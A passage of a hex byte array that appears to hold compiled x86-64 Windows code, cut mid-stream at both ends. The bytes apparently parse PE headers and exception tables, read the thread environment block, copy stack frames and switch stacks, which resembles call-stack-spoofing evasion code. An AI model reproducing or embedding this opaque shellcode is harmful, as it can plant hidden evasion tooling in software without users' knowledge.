x48,0x8B,0x55,0xD8,0x48,0x8B,0x92,0x28,0x05,0x00,0x00,0x48,0x89,0x10,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x83,0xE8,0x08,0x48,0x89,0xC2,0x48,0x8B,0x45,0x30,0x48,0x89,0x50,0x38,0x48,0x8B,0x45,0xD8,0x8B,0x80,0x20,0x05,0x00,0x00,0x85,0xC0,0x74,0x1B,0x48,0x8B,0x45,0x30,0x48,0x8B,0x40,0x30,0x48,0x89,0x45,0xF8,0x48,0x83,0x45,0xF8,0x08,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x01,0x90,0x83,0x45,0xF0,0x01,0x8B,0x45,0xF0,0x3B,0x45,0x28,0x0F,0x82,0xE5,0xFC,0xFF,0xFF,0x90,0x90,0x48,0x83,0xC4,0x68,0x5B,0x5D,0xC3,0x48,0x8B,0x04,0x24,0xC3,0x90,0x0F,0x0B,0x48,0x8D,0x44,0x24,0x08,0xC3,0x90,0x0F,0x0B,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x4C,0x89,0x4D,0x28,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xCC,0x3A,0x00,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x0F,0x84,0x8A,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x3C,0x48,0x63,0xD0,0x48,0x8B,0x45,0xF8,0x48,0x01,0xD0,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x8B,0x80,0xA0,0x00,0x00,0x00,0x89,0x45,0xEC,0x48,0x8B,0x45,0xF0,0x8B,0x80,0xA4,0x00,0x00,0x00,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x74,0x3E,0x48,0x8B,0x45,0x18,0x48,0x8B,0x55,0xF8,0x48,0x89,0x10,0x8B,0x45,0xE8,0x89,0xC2,0xB8,0xAB,0xAA,0xAA,0xAA,0x48,0x0F,0xAF,0xC2,0x48,0xC1,0xE8,0x20,0x89,0xC2,0xC1,0xEA,0x03,0x48,0x8B,0x45,0x28,0x89,0x10,0x8B,0x55,0xEC,0x48,0x8B,0x45,0xF8,0x48,0x01,0xD0,0x48,0x89,0xC2,0x48,0x8B,0x45,0x20,0x48,0x89,0x10,0xEB,0x18,0x48,0x8B,0x45,0x28,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0xEB,0x01,0x90,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x4C,0x8D,0x45,0xD4,0x48,0x8D,0x4D,0xD8,0x48,0x8D,0x55,0xE0,0x4D,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xF3,0xFE,0xFF,0xFF,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x99,0x00,0x00,0x00,0x48,0x8B,0x45,0xE0,0x48,0x29,0x45,0x10,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x8B,0x45,0xD4,0x89,0x45,0xF8,0xEB,0x75,0x8B,0x55,0xFC,0x8B,0x45,0xF8,0x01,0xD0,0xD1,0xE8,0x89,0x45,0xF4,0x48,0x8B,0x4D,0xD8,0x8B,0x55,0xF4,0x48,0x89,0xD0,0x48,0x01,0xC0,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x02,0x48,0x01,0xC8,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x8B,0x00,0x89,0xC0,0x48,0x39,0x45,0x10,0x73,0x08,0x8B,0x45,0xF4,0x89,0x45,0xF8,0xEB,0x37,0x48,0x8B,0x45,0xE8,0x8B,0x40,0x04,0x89,0xC0,0x48,0x39,0x45,0x10,0x72,0x0B,0x8B,0x45,0xF4,0x83,0xC0,0x01,0x89,0x45,0xFC,0xEB,0x1D,0x48,0x8B,0x45,0x18,0x48,0x8B,0x55,0xE8,0x48,0x89,0x10,0x48,0x8B,0x55,0xE0,0x48,0x8B,0x45,0x20,0x48,0x89,0x10,0xB8,0x01,0x00,0x00,0x00,0xEB,0x0D,0x8B,0x45,0xF8,0x39,0x45,0xFC,0x72,0x83,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x50,0x5D,0xC3,0xB8,0x30,0x00,0x00,0x00,0x65,0x48,0x8B,0x00,0xC3,0x90,0x0F,0x0B,0x55,0x53,0x48,0x81,0xEC,0xB8,0x00,0x00,0x00,0x48,0x8D,0xAC,0x24,0xB0,0x00,0x00,0x00,0x48,0x89,0x4D,0x20,0x89,0x55,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xC7,0x85,0x7C,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xA0,0x00,0x00,0x00,0x00,0xC7,0x45,0x9C,0x07,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x90,0x00,0x00,0x00,0x00,0xC7,0x45,0x8C,0x08,0x00,0x00,0x00,0x48,0xB8,0xBE,0xBA,0xFE,0xCA,0xEF,0xBE,0xAD,0xDE,0x48,0x89,0x45,0x80,0xE8,0x5A,0xFF,0xFF,0xFF,0x48,0x89,0x45,0x90,0x48,0x8B,0x45,0x90,0x48,0x8B,0x40,0x10,0x48,0x89,0x45,0xA8,0x48,0x8B,0x45,0x90,0x48,0x8B,0x40,0x08,0x48,0x89,0xC1,0x48,0x8B,0x45,0x90,0x48,0x8B,0x40,0x10,0x48,0x89,0xC2,0x48,0x89,0xC8,0x48,0x29,0xD0,0x48,0x89,0x45,0xA0,0x48,0x8B,0x05,0xDC,0x59,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x40,0xDD,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xCD,0x59,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xB8,0x48,0x83,0x7D,0xB8,0x00,0x0F,0x84,0xB5,0x03,0x00,0x00,0x81,0x7D,0x28,0x0F,0x2A,0x9B,0xCD,0x75,0x15,0x48,0x8D,0x95,0x7C,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0xB8,0x48,0x89,0xC1,0xE8,0xE3,0xEE,0xFF,0xFF,0xEB,0x14,0x48,0x8D,0x95,0x7C,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0xB8,0x48,0x89,0xC1,0xE8,0xF4,0xEF,0xFF,0xFF,0x90,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,0x83,0xF8,0x1E,0x0F,0x87,0x77,0x03,0x00,0x00,0x8B,0x95,0x7C,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0xB8,0x48,0x89,0xC1,0xE8,0x84,0xF8,0xFF,0xFF,0x8B,0x45,0x8C,0x0F,0xAF,0x45,0x9C,0x89,0xC3,0x48,0x8B,0x05,0x51,0x59,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x45,0x59,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xD0,0x48,0x83,0x7D,0xD0,0x00,0x0F,0x84,0x33,0x03,0x00,0x00,0x8B,0x45,0x8C,0x48,0x01,0x45,0xF0,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xEB,0x40,0x8B,0x45,0xCC,0x48,0x98,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x01,0xD0,0x8B,0x80,0x40,0x07,0x00,0x00,0x85,0xC0,0x74,0x1F,0x8B,0x45,0xCC,0x48,0x98,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x01,0xD0,0x8B,0x80,0x1C,0x05,0x00,0x00,0x89,0xC0,0x48,0x01,0x45,0xF0,0x83,0x45,0xCC,0x01,0x8B,0x55,0xCC,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,0x39,0xC2,0x72,0xB3,0x8B,0x45,0x8C,0x48,0x01,0x45,0xF0,0x8B,0x45,0x8C,0x48,0x01,0x45,0xF0,0x8B,0x45,0x8C,0x48,0x23,0x45,0xF0,0x48,0x89,0xC2,0x8B,0x45,0x8C,0x48,0x39,0xC2,0x75,0x0A,0x8B,0x45,0x8C,0x01,0xC0,0x89,0x45,0xDC,0xEB,0x06,0x8B,0x45,0x8C,0x89,0x45,0xDC,0x8B,0x45,0xDC,0x48,0x01,0x45,0xF0,0x48,0x8B,0x05,0x91,0x58,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x81,0x58,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE0,0x48,0x83,0x7D,0xE0,0x00,0x0F,0x84,0x72,0x02,0x00,0x00,0x48,0x8B,0x05,0x61,0x58,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xA0,0x49,0x89,0xD0,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x51,0x58,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x45,0x02,0x00,0x00,0x48,0x8B,0x55,0xA8,0x48,0x8B,0x45,0xA0,0x48,0x01,0xD0,0x48,0x2B,0x45,0xF0,0x48,0x89,0x45,0xB0,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xEB,0x64,0x8B,0x45,0xC8,0x48,0x98,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x01,0xD0,0x8B,0x80,0x40,0x07,0x00,0x00,0x85,0xC0,0x74,0x43,0x8B,0x45,0xC8,0x48,0x98,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x01,0xD0,0x48,0x8B,0x80,0x28,0x05,0x00,0x00,0x48,0x85,0xC0,0x74,0x24,0x8B,0x45,0xC8,0x48,0x98,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x01,0xD0,0x48,0x8B,0x90,0x28,0x05,0x00,0x00,0x48,0x8B,0x45,0x20,0x48,0x89,0x50,0x48,0xEB,0x11,0x83,0x45,0xC8,0x01,0x8B,0x55,0xC8,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,0x39,0xC2,0x72,0x8F,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xA8,0x48,0x89,0x10,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xA0,0x48,0x89,0x50,0x08,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xE8,0x48,0x89,0x50,0x10,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xE0,0x48,0x89,0x50,0x18,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xF0,0x48,0x89,0x50,0x20,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xB0,0x48,0x89,0x50,0x28,0x48,0x8B,0x45,0x20,0x48,0x8B,0x40,0x18,0x48,0x89,0xC2,0x48,0x8B,0x45,0x20,0x48,0x8B,0x40,0x20,0x48,0x01,0xD0,0x48,0x89,0xC2,0x48,0x8B,0x45,0x20,0x48,0x89,0x50,0x30,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xD0,0x48,0x89,0x50,0x50,0x48,0x8B,0x45,0x20,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0xDC,0x48,0x29,0xC2,0x48,0x8B,0x45,0x20,0x48,0x89,0x50,0x30,0x48,0x8B,0x45,0x20,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0x8C,0x48,0x29,0xC2,0x48,0x8B,0x45,0x20,0x48,0x89,0x50,0x30,0x48,0x8B,0x45,0x20,0x48,0x8B,0x40,0x30,0x48,0x8B,0x55,0xD0,0x48,0x89,0x10,0x48,0x8B,0x45,0x20,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x8B,0x45,0x8C,0x48,0x29,0xC2,0x48,0x8B,0x45,0x20,0x48,0x89,0x50,0x30,0x48,0x8B,0x45,0x20,0x48,0x8B,0x40,0x30,0x48,0x8B,0x55,0x80,0x48,0x89,0x10,0x48,0x8B,0x45,0x20,0x48,0x8B,0x50,0x30,0x48,0x8B,0x45,0x20,0x48,0x89,0x50,0x40,0x8B,0x95,0x7C,0xFF,0xFF,0xFF,0x48,0x8B,0x4D,0x20,0x48,0x8B,0x45,0xB8,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xA2,0xF6,0xFF,0xFF,0x48,0x8B,0x45,0x20,0x48,0x8B,0x50,0x30,0x48,0x8B,0x45,0x20,0x48,0x89,0xC1,0xE8,0x59,0xE8,0xFF,0xFF,0x48,0x8B,0x55,0x20,0x48,0x89,0x42,0x30,0x48,0x8B,0x45,0x20,0x48,0x8B,0x50,0x38,0x48,0x8B,0x45,0x20,0x48,0x89,0xC1,0xE8,0x3D,0xE8,0xFF,0xFF,0x48,0x8B,0x55,0x20,0x48,0x89,0x42,0x38,0x48,0x8B,0x45,0x20,0x48,0x8B,0x50,0x40,0x48,0x8B,0x45,0x20,0x48,0x89,0xC1,0xE8,0x21,0xE8,0xFF,0xFF,0x48,0x8B,0x55,0x20,0x48,0x89,0x42,0x40,0xC7,0x45,0xC4,0x01,0x00,0x00,0x00,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xEB,0x2C,0x8B,0x45,0xC0,0x48,0x98,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x01,0xD0,0x8B,0x80,0x40,0x07,0x00,0x00,0x85,0xC0,0x74,0x0B,0x83,0x7D,0xC4,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0x83,0x45,0xC0,0x01,0x8B,0x55,0xC0,0x8B,0x85,0x7C,0xFF,0xFF,0xFF,0x39,0xC2,0x72,0xC7,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xFC,0x00,0x75,0x28,0x48,0x83,0x7D,0xE0,0x00,0x74,0x21,0x48,0x8B,0x05,0xDE,0x55,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD6,0x55,0x01,0x00,0xFF,0xD0,0x83,0x7D,0xFC,0x00,0x75,0x28,0x48,0x83,0x7D,0xE8,0x00,0x74,0x21,0x48,0x8B,0x05,0xB0,0x55,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xA8,0x55,0x01,0x00,0xFF,0xD0,0x83,0x7D,0xFC,0x00,0x75,0x28,0x48,0x83,0x7D,0xD0,0x00,0x74,0x21,0x48,0x8B,0x05,0x82,0x55,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xD0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x7A,0x55,0x01,0x00,0xFF,0xD0,0x48,0x83,0x7D,0xB8,0x00,0x74,0x21,0x48,0x8B,0x05,0x5A,0x55,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xB8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x52,0x55,0x01,0x00,0xFF,0xD0,0x8B,0x45,0xFC,0x48,0x81,0xC4,0xB8,0x00,0x00,0x00,0x5B,0x5D,0xC3,0x41,0x5B,0x48,0x31,0xC0,0x48,0x8B,0x51,0x08,0x4C,0x8B,0x41,0x10,0x4C,0x8B,0x09,0x45,0x8A,0x14,0x01,0x45,0x88,0x14,0x00,0x48,0xFF,0xC0,0x48,0x39,0xD0,0x75,0xF0,0x48,0x31,0xC0,0x4C,0x8B,0x41,0x18,0x4C,0x8B,0x49,0x28,0x48,0x8B,0x51,0x20,0x45,0x8A,0x14,0x00,0x45,0x88,0x14,0x01,0x48,0xFF,0xC0,0x48,0x39,0xD0,0x75,0xF0,0x48,0x8B,0x41,0x40,0x48,0x8B,0x40,0x08,0x48,0x8B,0x51,0x08,0x48,0x89,0x10,0x48,0x8B,0x51,0x10,0x48,0x89,0x50,0x08,0x48,0x8B,0x11,0x48,0x89,0x50,0x10,0x48,0x89,0x58,0x18,0x48,0x89,0x68,0x20,0x48,0x89,0x60,0x28,0x4C,0x89,0x58,0x30,0x48,0x31,0xC0,0x8B,0x41,0x5C,0x49,0x89,0xCA,0x83,0xF8,0x01,0x7C,0x3A,0x49,0x8B,0x4A,0x60,0x83,0xF8,0x02,0x7C,0x31,0x49,0x8B,0x52,0x68,0x83,0xF8,0x03,0x7C,0x28,0x4D,0x8B,0x42,0x70,0x83,0xF8,0x04,0x7C,0x1F,0x4D,0x8B,0x4A,0x78,0x83,0xE8,0x04,0x49,0x8B,0x6A,0x30,0x83,0xF8,0x01,0x7C,0x0F,0x49,0x8B,0x5C,0xC2,0x78,0x48,0x89,0x5C,0xC5,0x20,0x48,0xFF,0xC8,0xEB,0xEC,0x49,0x8B,0x62,0x30,0x49,0x8B,0x6A,0x38,0x41,0x8B,0x42,0x50,0x4D,0x8B,0x5A,0x48,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x55,0x57,0x53,0x48,0x81,0xEC,0xC0,0x00,0x00,0x00,0x48,0x8D,0xAC,0x24,0xC0,0x00,0x00,0x00,0x89,0x4D,0x20,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0x4C,0x89,0x4D,0x38,0xC7,0x45,0xFC,0x01,0x00,0x00,0xC0,0x48,0x8D,0x95,0x70,0xFF,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x0B,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x68,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0x30,0x48,0x89,0x85,0x60,0xFF,0xFF,0xFF,0x8B,0x45,0x20,0x89,0xC1,0xE8,0x33,0x71,0x00,0x00,0x48,0x89,0x45,0xD8,0x48,0x83,0x7D,0xD8,0x00,0x0F,0x84,0x95,0x01,0x00,0x00,0x8B,0x45,0x20,0x89,0xC1,0xE8,0xBE,0x70,0x00,0x00,0x89,0x45,0xD4,0x83,0x7D,0xD4,0x00,0x0F,0x84,0x81,0x01,0x00,0x00,0x8B,0x55,0x20,0x48,0x8D,0x85,0x70,0xFF,0xFF,0xFF,0x48,0x89,0xC1,0xE8,0xFD,0xF8,0xFF,0xFF,0x89,0x45,0xD0,0x83,0x7D,0xD0,0x00,0x0F,0x84,0x65,0x01,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x0C,0x48,0x8B,0x45,0xD8,0x48,0x83,0xC0,0x02,0x48,0x89,0x45,0xF0,0x48,0x8D,0x95,0x68,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xB7,0x06,0x00,0x00,0x89,0x45,0xD0,0x83,0x7D,0xD0,0x00,0x0F,0x84,0x2D,0x01,0x00,0x00,0x48,0x8B,0x05,0x5A,0x53,0x01,0x00,0xFF,0xD0,0x41,0xB8,0xB0,0x00,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x4B,0x53,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x01,0x01,0x00,0x00,0x48,0x8B,0x95,0x70,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0xE8,0x48,0x89,0x10,0x48,0x8B,0x95,0x78,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0xE8,0x48,0x89,0x50,0x08,0x48,0x8B,0x55,0x80,0x48,0x8B,0x45,0xE8,0x48,0x89,0x50,0x10,0x48,0x8B,0x55,0x88,0x48,0x8B,0x45,0xE8,0x48,0x89,0x50,0x18,0x48,0x8B,0x55,0x90,0x48,0x8B,0x45,0xE8,0x48,0x89,0x50,0x20,0x48,0x8B,0x55,0x98,0x48,0x8B,0x45,0xE8,0x48,0x89,0x50,0x28,0x48,0x8B,0x55,0xA0,0x48,0x8B,0x45,0xE8,0x48,0x89,0x50,0x30,0x48,0x8B,0x55,0xA8,0x48,0x8B,0x45,0xE8,0x48,0x89,0x50,0x38,0x48,0x8B,0x55,0xB0,0x48,0x8B,0x45,0xE8,0x48,0x89,0x50,0x40,0x48,0x8B,0x45,0xE8,0xC7,0x40,0x54,0x00,0x00,0x00,0x00,0xE8,0x71,0x70,0x00,0x00,0x48,0x8B,0x55,0xE8,0x89,0x42,0x58,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x55,0xD8,0x48,0x89,0x50,0x48,0x48,0x8B,0x45,0xE8,0x8B,0x55,0xD4,0x89,0x50,0x50,0x48,0x8B,0x45,0xE8,0x8B,0x55,0x28,0x89,0x50,0x5C,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xEB,0x2B,0x48,0x8B,0x85,0x60,0xFF,0xFF,0xFF,0x48,0x8D,0x50,0x08,0x48,0x89,0x95,0x60,0xFF,0xFF,0xFF,0x48,0x8B,0x10,0x48,0x8B,0x45,0xE8,0x8B,0x4D,0xE4,0x48,0x63,0xC9,0x48,0x83,0xC1,0x0C,0x48,0x89,0x14,0xC8,0x83,0x45,0xE4,0x01,0x8B,0x45,0xE4,0x3B,0x45,0x28,0x72,0xCD,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0xE8,0x0F,0xFD,0xFF,0xFF,0x89,0x45,0xFC,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xE8,0x00,0x74,0x21,0x48,0x8B,0x05,0x22,0x52,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x1A,0x52,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x45,0x80,0x48,0x85,0xC0,0x74,0x21,0x48,0x8B,0x5D,0x80,0x48,0x8B,0x05,0xF4,0x51,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xF0,0x51,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x45,0x88,0x48,0x85,0xC0,0x74,0x21,0x48,0x8B,0x5D,0x88,0x48,0x8B,0x05,0xCA,0x51,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xC6,0x51,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x45,0xC0,0x48,0x85,0xC0,0x74,0x21,0x48,0x8B,0x5D,0xC0,0x48,0x8B,0x05,0xA0,0x51,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x9C,0x51,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x85,0x68,0xFF,0xFF,0xFF,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0x68,0xFF,0xFF,0xFF,0x48,0x89,0xC1,0xE8,0x29,0x06,0x00,0x00,0x8B,0x45,0xFC,0x48,0x81,0xC4,0xC0,0x00,0x00,0x00,0x5B,0x5F,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0xC7,0x45,0xF4,0x01,0x00,0x00,0xC0,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0x8B,0x05,0x39,0x51,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x08,0x00,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x2A,0x51,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x8B,0x05,0x15,0x51,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x30,0x00,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x06,0x51,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE0,0x48,0x8B,0x05,0xF1,0x50,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x10,0x00,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xE2,0x50,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xD8,0x48,0x83,0x7D,0xE8,0x00,0x74,0x0E,0x48,0x83,0x7D,0xE0,0x00,0x74,0x07,0x48,0x83,0x7D,0xD8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x8B,0x01,0x00,0x00,0x48,0x8B,0x45,0xE8,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xE0,0xC7,0x00,0x30,0x00,0x00,0x00,0x48,0x8B,0x45,0xE0,0x48,0xC7,0x40,0x08,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xE0,0x8B,0x55,0x20,0x89,0x50,0x18,0x48,0x8B,0x45,0xE0,0x48,0xC7,0x40,0x10,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xE0,0x48,0xC7,0x40,0x20,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xE0,0x48,0xC7,0x40,0x28,0x00,0x00,0x00,0x00,0x8B,0x45,0x10,0x48,0x89,0xC2,0x48,0x8B,0x45,0xD8,0x48,0x89,0x10,0x48,0x8B,0x45,0xD8,0x48,0xC7,0x40,0x08,0x00,0x00,0x00,0x00,0x8B,0x4D,0x18,0x48,0x8B,0x55,0xE8,0x48,0x8B,0x45,0xD8,0x48,0x89,0x44,0x24,0x28,0x48,0x8B,0x45,0xE0,0x48,0x89,0x44,0x24,0x20,0x41,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x04,0x00,0x00,0x00,0xB9,0x0F,0x2A,0x9B,0xCD,0xE8,0xBA,0xFB,0xFF,0xFF,0x89,0x45,0xF4,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x83,0x7D,0xF4,0x00,0x79,0x08,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0xE8,0x00,0x74,0x40,0x48,0x8B,0x45,0xE8,0x41,0xB8,0x08,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x6D,0xBE,0x00,0x00,0x48,0x8B,0x05,0xDE,0x4F,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD6,0x4F,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0xE0,0x00,0x74,0x40,0x48,0x8B,0x45,0xE0,0x41,0xB8,0x30,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x26,0xBE,0x00,0x00,0x48,0x8B,0x05,0x97,0x4F,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x8F,0x4F,0x01,0